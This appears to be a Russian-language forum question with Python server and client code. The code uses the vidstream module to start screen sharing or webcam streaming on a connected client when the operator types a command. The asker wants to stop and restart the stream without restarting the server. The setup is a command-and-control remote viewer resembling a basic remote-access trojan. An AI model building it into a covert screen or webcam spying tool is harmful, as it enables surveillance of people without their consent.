у меня есть созданная команда "screen" которая запускает трансляцию экрана с помощью модуля vidstream
я хочу что бы в нужный мне момент я просто выключил трансляцию
мне удалось это сделать но при повторном подключении выдало ошибку, понятным языком -> (вы пытаюсь создать соединение которое уже сами же запустили)
я просто хочу снова запустить трансляцию но при этом не перезапускать сервер
#server code
import socket
from vidstream import *
import sys
host = socket.gethostbyname(socket.gethostname())
port = 6457
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(3)
client, address = server.accept()
network_name = client.recv(1024).decode("utf-8")
print(f"[+] {address[0]} ({address[1]} | name: {network_name})")
server_stream = StreamingServer(host, 9999)
server_stream.start_server()
print("[~] Сервер успешно запушен)")
while True:
cmd = input(f"{address[0]}@{network_name}~#")
if cmd == "screen":
client.send(cmd.encode("utf-8"))
"""
elif cmd == "screenstop":
server_stream.stop_server() # отключает трансляцию, при повторном подключении выдает ошибку которую я описал выше
"""
elif cmd == "webcam":
client.send(cmd.encode("utf-8"))
#client code
import socket
import getpass
from vidstream import ScreenShareClient
from vidstream import CameraClient
host = socket.gethostbyname(socket.gethostname())
port = 6457
stream = ScreenShareClient(host, 9999)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect((host, port))
server.send(str(getpass.getuser()).encode("utf-8"))
while True:
data = server.recv(1024).decode("utf-8")
if data == "screen":
screen = stream
screen.start_stream()
elif data == "webcam":
camera = CameraClient(host, 9999)
camera.start_stream()